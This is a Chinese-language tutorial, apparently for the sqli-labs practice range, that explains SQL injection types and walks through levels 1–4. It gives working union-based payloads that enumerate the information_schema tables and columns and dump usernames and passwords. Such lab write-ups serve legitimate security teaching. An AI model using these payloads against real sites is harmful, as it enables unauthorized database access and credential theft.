1.SQL注入原理
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
2.SQL分类
以注入位置分类:
get注入
post注入
cookie注入
以参数类型分类
字符型注入
数字注入
搜素注入
以注入技术分类
错误注入
布尔注入
union注入
时间盲注
ASCII逐字解码:拆办拆解
其他注入:堆叠注入,宽字节注入,二次注入
3.注入的基本流程
1.判断是否存在sql注入漏洞
2.逐步获取数据库的信息
3.得到想要的内容
4.如何判断注入点
1.?id=1 and 1=1 和?id=1 and 1=2进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为数字型注入。
2.?id=1' and 1=1--+/#和?id=1' and 1=2--+/#进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。
3.?id=1%' and 1=1--+/#和?id=1%' and 1=2--+/#进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为搜索型注入。
这里我们先来看看第二关
1.注入点的判断
?id=1 and 1=1
此时我们就可以判断是数字型注入了
2.接下来我们就要知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。
?id=1 order by 3
3.爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的
?id=-1'union select 1,2,3--+
如?id=-1 union select 1,2,3,4 --+ // 这条语句的作用是联合查询第1,2,3,4列, 空格--+的作用是注释后面的内容,负号是为了让前面的联合查询产生错误,从而使用后面的联合查询语句
如?id=1 order by 3 这里的数字可以是任意的,当我们输入的数字报错时,那么就可以证明超出列数,此时应该减小数字直到没有报错。
4.爆表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
mysql数据结构
在练习靶场前我们需要了解以下mysql数据库结构,mysql数据库5.0以上版本有一个自带的数据库叫做information_schema,该数据库下面有两个表一个是tables和columns。tables这个表的table_name字段下面是所有数据库存在的表名。table_schema字段下是所有表名对应的数据库名。columns这个表的colum_name字段下是所有数据库存在的字段名。columns_schema字段下是所有表名对应的数据库。了解这些对于我们之后去查询数据有很大帮助。我们前面机关讲解比较详细后面就比较简单了。
5.爆列
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
6.爆账户密码
?id=-1 union select 1,2,group_concat(username ,id , password) from users
?id=1 and 1=1 判断是数字型注入
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users
第一关和第二关类似,但是第一关是字符型注入,我们需要闭合单引号,此时就需要在1的后面加上一个单引号。这就是数字型注入和字符型注入的区别。但是可以结合,如下
第三关
当我们在输入?id=2'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。
此时就需要在1的后面加上‘)去闭合它
第四关
根据结果显示,可以看出是“)也是需要在1的后面加上”)